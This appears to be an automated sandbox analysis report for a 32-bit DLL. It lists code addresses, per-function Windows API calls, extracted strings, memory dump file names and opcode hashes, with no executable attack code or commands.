0x6edbfad5
0x6edbfb0a
0x6edbfb0d
0x6edbfb10
0x6edbfb13
0x6edbfb16
0x6edbfb1c
0x6edbfb2e
0x6edbfb33
0x6edbfb36
0x6edbfb39
0x6edbfb3c
0x6edbfb3f
0x6edbfb42
0x6edbfb45
0x00000000
0x00000000
0x6edbfb4b
0x6edbfb4b
0x6edbfb4e
0x6edbfb51
0x6edbfb60
0x6edbfb61
0x6edbfb61
0x6edbfb63
0x6edbfb66
0x00000000
0x00000000
0x6edbfb68
0x6edbfb6b
0x00000000
0x00000000
0x6edbfb79
0x6edbfb7b
0x6edbfb7e
0x6edbfb80
0x6edbfb88
0x6edbfb88
0x6edbfb8b
0x6edbfb8d
0x6edbfb8f
0x6edbfbab
0x6edbfbb0
0x6edbfbb3
0x6edbfbb3
0x00000000
0x6edbfb8b
0x6edbfb82
0x6edbfb86
0x00000000
0x00000000
0x00000000
0x6edbfbb6
0x6edbfbb9
0x6edbfbba
0x6edbfbbd
0x6edbfbc0
0x6edbfbc3
0x6edbfbc6
0x6edbfbc6
0x00000000
0x6edbfb51
0x6edbfbd0
0x6edbfbd5
0x6edbfbd6
0x6edbfbd9
0x6edbfbdc
0x6edbfbdd
0x6edbfbde
0x6edbfbdf
0x6edbfbe2
0x6edbfbe4
0x6edbfc5c
0x6edbfc5e
0x6edbfc5e
0x6edbfbe6
0x6edbfbe6
0x6edbfbe9
0x6edbfbec
0x00000000
0x6edbfbee
0x6edbfbee
0x6edbfbf1
0x6edbfbf4
0x6edbfbfb
0x6edbfbfb
0x6edbfbfe
0x6edbfc00
0x6edbfc02
0x6edbfc34
0x6edbfc34
0x6edbfc37
0x6edbfc3e
0x6edbfc3e
0x6edbfc41
0x6edbfc44
0x6edbfc4b
0x6edbfc4b
0x6edbfc4e
0x6edbfc55
0x6edbfc57
0x6edbfc57
0x6edbfc50
0x6edbfc50
0x6edbfc53
0x00000000
0x00000000
0x6edbfc53
0x6edbfc46
0x6edbfc46
0x6edbfc49
0x00000000
0x00000000
0x6edbfc49
0x6edbfc39
0x6edbfc39
0x6edbfc3c
0x00000000
0x00000000
0x6edbfc3c
0x6edbfc58
0x6edbfc04
0x6edbfc04
0x6edbfc04
0x6edbfc07
0x6edbfc07
0x6edbfc09
0x6edbfc0b
0x00000000
0x00000000
0x6edbfc0d
0x6edbfc0f
0x6edbfc23
0x6edbfc23
0x6edbfc11
0x6edbfc11
0x6edbfc14
0x6edbfc17
0x00000000
0x6edbfc19
0x6edbfc19
0x6edbfc1c
0x6edbfc1f
0x6edbfc21
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbfc21
0x6edbfc17
0x6edbfc2c
0x6edbfc2c
0x6edbfc2e
0x00000000
0x6edbfc30
0x6edbfc30
0x6edbfc30
0x00000000
0x6edbfc2e
0x6edbfc27
0x6edbfc29
0x6edbfc29
0x00000000
0x6edbfc29
0x6edbfbf6
0x6edbfbf6
0x6edbfbf9
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbfbf9
0x6edbfbf4
0x6edbfbec
0x6edbfc5f
0x6edbfc63
0x6edbfc63
0x6edbf730
0x6edbf730
0x6edbf739
0x6edbf836
0x6edbf836
0x6edbf839
0x00000000
0x6edbf768
0x6edbf768
0x6edbf76d
0x00000000
0x6edbf773
0x6edbf773
0x6edbf77b
0x6edbfa34
0x6edbfa38
0x6edbf781
0x6edbf786
0x6edbf789
0x6edbf78e
0x6edbf795
0x6edbf79a
0x00000000
0x6edbf7d2
0x6edbf7da
0x6edbf83e
0x6edbf83e
0x6edbf841
0x6edbf844
0x6edbf846
0x6edbf849
0x6edbf84c
0x6edbf852
0x6edbfa03
0x6edbfa03
0x6edbfa06
0x00000000
0x6edbfa08
0x6edbfa08
0x6edbfa0b
0x00000000
0x6edbfa11
0x6edbfa11
0x6edbfa14
0x6edbfa17
0x6edbfa18
0x6edbfa19
0x6edbfa1c
0x6edbfa1d
0x6edbfa20
0x6edbfa21
0x6edbfa26
0x00000000
0x6edbfa26
0x6edbfa0b
0x6edbf858
0x6edbf858
0x6edbf85c
0x00000000
0x6edbf862
0x6edbf862
0x6edbf869
0x6edbf881
0x6edbf881
0x6edbf884
0x6edbf887
0x6edbf88d
0x6edbf89d
0x6edbf8a2
0x6edbf8a5
0x6edbf8a8
0x6edbf8ab
0x6edbf8ae
0x6edbf8b1
0x6edbf8b4
0x6edbf8ba
0x6edbf8ba
0x6edbf8bd
0x6edbf8c0
0x6edbf8cf
0x6edbf8d0
0x6edbf8d0
0x6edbf8d2
0x6edbf8d5
0x6edbf8db
0x6edbf8de
0x6edbf8e4
0x6edbf8e6
0x6edbf8e9
0x6edbf8ec
0x6edbf8f5
0x6edbf8f8
0x6edbf8fa
0x6edbf8fa
0x6edbf8fd
0x6edbf900
0x6edbf903
0x6edbf906
0x6edbf909
0x6edbf90e
0x6edbf90f
0x6edbf910
0x6edbf911
0x6edbf912
0x6edbf915
0x6edbf917
0x6edbf919
0x00000000
0x6edbf91b
0x6edbf91b
0x6edbf91b
0x6edbf91e
0x6edbf921
0x6edbf923
0x6edbf924
0x6edbf929
0x6edbf92c
0x6edbf92e
0x00000000
0x00000000
0x6edbf930
0x6edbf931
0x6edbf934
0x6edbf936
0x00000000
0x6edbf938
0x6edbf938
0x6edbf93b
0x6edbf93e
0x00000000
0x6edbf93e
0x00000000
0x6edbf936
0x6edbf952
0x6edbf958
0x6edbf975
0x6edbf97a
0x6edbf97a
0x6edbf97d
0x6edbf97d
0x00000000
0x6edbf941
0x6edbf941
0x6edbf942
0x6edbf945
0x6edbf948
0x6edbf94b
0x6edbf94b
0x00000000
0x6edbf950
0x6edbf8ec
0x6edbf8de
0x6edbf980
0x6edbf983
0x6edbf984
0x6edbf987
0x6edbf98a
0x6edbf98d
0x6edbf990
0x6edbf990
0x6edbf999
0x6edbf99c
0x6edbf99c
0x6edbf8b4
0x6edbf99f
0x6edbf9a3
0x6edbf9a5
0x6edbf9a8
0x6edbf9ae
0x6edbf9ae
0x6edbf9b6
0x6edbf9bb
0x6edbfa29
0x6edbfa29
0x6edbfa2e
0x6edbfa32
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbf9bd
0x6edbf9bd
0x6edbf9c1
0x6edbf9d3
0x6edbf9d6
0x6edbf9d9
0x6edbf9db
0x6edbf9f2
0x6edbf9f6
0x6edbf9fc
0x6edbf9fd
0x6edbf9ff
0x00000000
0x6edbfa01
0x00000000
0x6edbfa01
0x6edbf9dd
0x6edbf9e2
0x6edbf9e5
0x6edbf9ea
0x6edbf9ed
0x00000000
0x6edbf9ed
0x6edbf9c3
0x6edbf9c6
0x6edbf9c9
0x6edbf9cb
0x00000000
0x6edbf9cd
0x6edbf9cd
0x6edbf9d1
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbf9d1
0x6edbf9cb
0x6edbf9c1
0x6edbf86b
0x6edbf86b
0x6edbf872
0x00000000
0x6edbf874
0x6edbf874
0x6edbf87b
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbf87b
0x6edbf872
0x6edbf869
0x6edbf85c
0x6edbf7dc
0x6edbf7e4
0x6edbf7e7
0x6edbf7ec
0x6edbf7f0
0x6edbf7f3
0x6edbf7f9
0x6edbf7fc
0x00000000
0x6edbf7fe
0x6edbf7fe
0x6edbf801
0x6edbf803
0x6edbfa39
0x6edbfa39
0x00000000
0x6edbf809
0x6edbf811
0x6edbf81c
0x00000000
0x00000000
0x6edbf825
0x6edbf828
0x6edbf829
0x6edbf82c
0x6edbf82e
0x00000000
0x6edbf834
0x00000000
0x6edbf834
0x00000000
0x6edbf82e
0x6edbf809
0x6edbfa3e
0x6edbfa3e
0x6edbfa40
0x6edbfa41
0x6edbfa48
0x6edbfa4b
0x6edbfa59
0x6edbfa5e
0x6edbfa63
0x6edbfa66
0x6edbfa6b
0x6edbfa6e
0x6edbfa71
0x6edbfa73
0x6edbfa75
0x6edbfa75
0x6edbfa7a
0x6edbfa86
0x6edbfa8c
0x6edbfa91
0x6edbfa94
0x6edbfa95
0x00000000
0x6edbfa95
0x6edbf7fc
0x6edbf7da
0x6edbf79a
0x6edbf77b
0x6edbf76d
0x6edbf739

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6EDBF7F3
type_info::operator==.LIBVCRUNTIME ref: 6EDBF815
___TypeMatch.LIBVCRUNTIME ref: 6EDBF924
IsInExceptionSpec.LIBVCRUNTIME ref: 6EDBF9F6
_UnwindNestedFrames.LIBCMT ref: 6EDBFA7A
CallUnexpected.LIBVCRUNTIME ref: 6EDBFA95

Strings

csm, xrefs: 6EDBF7A0
csm, xrefs: 6EDBF84C
csm, xrefs: 6EDBF733

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: b2771f919034b794a6a4a49b356337fac3239f049cb17ce6298c381c89a64a2f
Instruction ID: 8558fd57b8202cab64f58b4959c16fe5e13196c3ee55e5ce4f8f7cacc221efa1
Opcode Fuzzy Hash: b2771f919034b794a6a4a49b356337fac3239f049cb17ce6298c381c89a64a2f
Instruction Fuzzy Hash: B2B15FB9C0020AEFCF19DFE5CC9099EB7B9FF08314B24455AE8166B215E731DA51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC340, Relevance: 12.6, APIs: 10, Instructions: 125COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?), ref: 6EDAC37A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC387
TlsGetValue.KERNEL32(?), ref: 6EDAC3CA
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC3D7
TlsGetValue.KERNEL32(?), ref: 6EDAC40A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC417
TlsGetValue.KERNEL32(?), ref: 6EDAC44A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC457
TlsGetValue.KERNEL32(?), ref: 6EDAC48B
TlsSetValue.KERNEL32(?,00000000), ref: 6EDAC498

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 729fcdfb2d90891941fcecd6ca77af004cc440c7e8a27369d1cd0bf02cae4b43
Instruction ID: 43a3bc7d5bb1d1ef551bef091e2270b597467a61fac2d9ed56bddb1625a25ed8
Opcode Fuzzy Hash: 729fcdfb2d90891941fcecd6ca77af004cc440c7e8a27369d1cd0bf02cae4b43
Instruction Fuzzy Hash: 8F41D23124424EEFEB50AFEDDC14BAA3754AF02BA0F044028EF154E155E7A1EB11E796

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB1BF0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6EDB1A7E,?), ref: 6EDB1C05
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6EDB1A7E,?), ref: 6EDB1C16
GetConsoleMode.KERNEL32(00000000,?), ref: 6EDB1C58
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6EDB1CD3
GetLastError.KERNEL32(?,?,?,00000000), ref: 6EDB1D55

Strings

Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx, xrefs: 6EDB1E45
assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6EDB1E5E

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx$assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb
API String ID: 4172320683-1866377508
Opcode ID: 0ac7ed20d7c5d44611d164302f30e37e3063f6e0f495e90fdad26ad5270a6408
Instruction ID: 5cf5d026241af49999deac59deb9fb51c3cfc3b9c6c3dd3e8d7a28208bd1b161
Opcode Fuzzy Hash: 0ac7ed20d7c5d44611d164302f30e37e3063f6e0f495e90fdad26ad5270a6408
Instruction Fuzzy Hash: E971AFB0A08345DFD7148FA5D45476BBBE9AB86748F10882DE4DB8B380E731D94DCB62

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC4D0, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6EDFE108), ref: 6EDAC509
ReleaseSRWLockExclusive.KERNEL32(6EDFE108), ref: 6EDAC553
GetProcessHeap.KERNEL32 ref: 6EDAC562
HeapAlloc.KERNEL32(00D10000,00000000,00000020), ref: 6EDAC575
ReleaseSRWLockExclusive.KERNEL32(6EDFE108), ref: 6EDAC5C7

Strings

failed to generate unique thread ID: bitspace exhausted, xrefs: 6EDAC5D4
called `Option::unwrap()` on a `None` value, xrefs: 6EDAC5F7

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: 85043e843850bf2a0d570569536282470d9d4946836450b699dca90d7ae87d5a
Instruction ID: 3a38e11f2e24c3dd11755d5acaa8965b7c8217f08c06830b1b27dee5d0c1f2dd
Opcode Fuzzy Hash: 85043e843850bf2a0d570569536282470d9d4946836450b699dca90d7ae87d5a
Instruction Fuzzy Hash: 4A3104B0D00204CBEB10DFD9DC0879EBBB8EB89364F144529D9166F3C0D7759906CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA10A0, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6EDA10D6
HeapAlloc.KERNEL32(00D10000,00000000,0000000F), ref: 6EDA10ED
GetProcessHeap.KERNEL32(00D10000,00000000,0000000F), ref: 6EDA111F
HeapAlloc.KERNEL32(00D10000,00000000,00000010,00D10000,00000000,0000000F), ref: 6EDA1136
HeapFree.KERNEL32(00000000,?,00000000,00000010,00D10000,00000000,0000000F), ref: 6EDA120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,00D10000,00000000,0000000F), ref: 6EDA121B

Strings

Control_RunDLL, xrefs: 6EDA114B
Control_RunDLL, xrefs: 6EDA1102

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL
API String ID: 2113670309-2490747307
Opcode ID: 3e53cfc1bf3959a00785d559018c2845dfbc7aaec63d3bd42aebd2004728415e
Instruction ID: 80c2850d2fea9f925a276ebd4840f04be9fabcd28c87d11597f1d2757bcf5430
Opcode Fuzzy Hash: 3e53cfc1bf3959a00785d559018c2845dfbc7aaec63d3bd42aebd2004728415e
Instruction Fuzzy Hash: 76518EB5D00619DBEB00CFE9CC81BDEB7BAFF89354F104525E9066B281E774A9458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBEF20, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6EDBEF57
___except_validate_context_record.LIBVCRUNTIME ref: 6EDBEF5F
_ValidateLocalCookies.LIBCMT ref: 6EDBEFE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6EDBF013
_ValidateLocalCookies.LIBCMT ref: 6EDBF068

Strings

csm, xrefs: 6EDBEFFD

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 52af9ea7f08e91354ebe00f14b8666fc65de6c6a7486daa6affe98798dc52c25
Instruction ID: 91c624c816a6165022196e7756a517da2fd7552cdc91475dabd3cd41a6679cfb
Opcode Fuzzy Hash: 52af9ea7f08e91354ebe00f14b8666fc65de6c6a7486daa6affe98798dc52c25
Instruction Fuzzy Hash: 8941B374D10109DBCF00CFE9C844A9EBBB9BF49358F148595EC169B391E735D906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC42BC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6EDC43C9,FFFDC801,00000400,?,00000000,00000001,?,6EDC4542,00000021,FlsSetValue,6EDF6BF8,6EDF6C00,?), ref: 6EDC437D

Strings

ext-ms-, xrefs: 6EDC4327
api-ms-, xrefs: 6EDC4313

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4196f10aca42087202f9a261e90627c34c0e9de866d134e978f3da6cc34ed52c
Instruction ID: 09484872152292c2d22fa8ca14093788e2c7582c9591b6f948316a304b4f8230
Opcode Fuzzy Hash: 4196f10aca42087202f9a261e90627c34c0e9de866d134e978f3da6cc34ed52c
Instruction Fuzzy Hash: CE21D835980612EBEB11DBE5DC44A8E776CAB82BF0F110111ED66A7284D730ED03C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBF3BF, Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6EDBF101,6EDBCFA2,6EDBC7AC,?,6EDBC9E4,?,00000001,?,?,00000001,?,6EDFAFA8,0000000C,6EDBCADD), ref: 6EDBF3CD
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EDBF3DB
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EDBF3F4
SetLastError.KERNEL32(00000000,6EDBC9E4,?,00000001,?,?,00000001,?,6EDFAFA8,0000000C,6EDBCADD,?,00000001,?), ref: 6EDBF446

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7acab187c487f62f6a0b12f6a9ea6bfeff4f0b44b2d5c069fb744f33fa482f86
Instruction ID: ac687c459f74dd66f79cc682a0e9a755ee12cdb76782d5b572a6771ef88b5aaf
Opcode Fuzzy Hash: 7acab187c487f62f6a0b12f6a9ea6bfeff4f0b44b2d5c069fb744f33fa482f86
Instruction Fuzzy Hash: 2A01F0B612DB129EBB6057F56C8465736BCDB46BF57300339F912491D4FF328803A551

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBBE60, Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6EDBC510: GetTickCount64.KERNEL32 ref: 6EDBC517

GetTickCount64.KERNEL32 ref: 6EDBBE96
GetTickCount64.KERNEL32 ref: 6EDBBEB4
GetTickCount64.KERNEL32 ref: 6EDBBECD
GetTickCount64.KERNEL32 ref: 6EDBBECF
GetTickCount64.KERNEL32 ref: 6EDBBED6
GetTickCount64.KERNEL32 ref: 6EDBBEF4

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Count64Tick
String ID:
API String ID: 1927824332-0
Opcode ID: a90b880d68d5bdaeccafe12986ce5b9bad22083b91da17e6c22195fcaa04819a
Instruction ID: 57fd36c076c543dea9b0e0ed6acedd6ba54f8e8bf67f152bdc4219fb6d991e8d
Opcode Fuzzy Hash: a90b880d68d5bdaeccafe12986ce5b9bad22083b91da17e6c22195fcaa04819a
Instruction Fuzzy Hash: E0015653C20E189DE203FA79A88254AAAAD5F973E0B15C713D0477A055FFA098E357A1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA6B40, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6EDA6C1B
__aulldiv.LIBCMT ref: 6EDA6C2B

Strings

_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6EDA6BAA, 6EDA6BE5
'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDA6B54
{invalid syntax}, xrefs: 6EDA6B84

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: 57bb42325d10e61ffd653db1e46513852b96d6d4409153dc789509871849d9ab
Instruction ID: b68eb4eee999fb0f0e0e5d69872ff9f990bf6956cb48a2b1b852600fe8062ae0
Opcode Fuzzy Hash: 57bb42325d10e61ffd653db1e46513852b96d6d4409153dc789509871849d9ab
Instruction Fuzzy Hash: 8B419772718210DBD3149BACD848B2EB7D5DF84704F10483DEA898F3C6EA76C95183A2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAD000, Relevance: 8.8, APIs: 7, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000001,6EDAC746), ref: 6EDAD00B
TlsGetValue.KERNEL32(00000000,00000001,6EDAC746), ref: 6EDAD023
TlsGetValue.KERNEL32(00000000), ref: 6EDAD043
TlsGetValue.KERNEL32(00000000), ref: 6EDAD063
GetProcessHeap.KERNEL32 ref: 6EDAD076
HeapAlloc.KERNEL32(00D10000,00000000,0000000C), ref: 6EDAD089
TlsSetValue.KERNEL32(00000000,00000000,00D10000,00000000,0000000C), ref: 6EDAD0B6

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: 74c9d90a8717582d13f597af575d452b1eeeffdb4f8e2eabd41bb79e068370ca
Instruction ID: 7132c5875e63aa445ccd8dc2e85a65ad28d40797f380fab9d9de17c924edc73e
Opcode Fuzzy Hash: 74c9d90a8717582d13f597af575d452b1eeeffdb4f8e2eabd41bb79e068370ca
Instruction Fuzzy Hash: 581172B0600602DBFB508BF9D858B5A32ACAB42689F010C25EF06DB284D735DA439F7D

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC3571, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6EDC358D

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
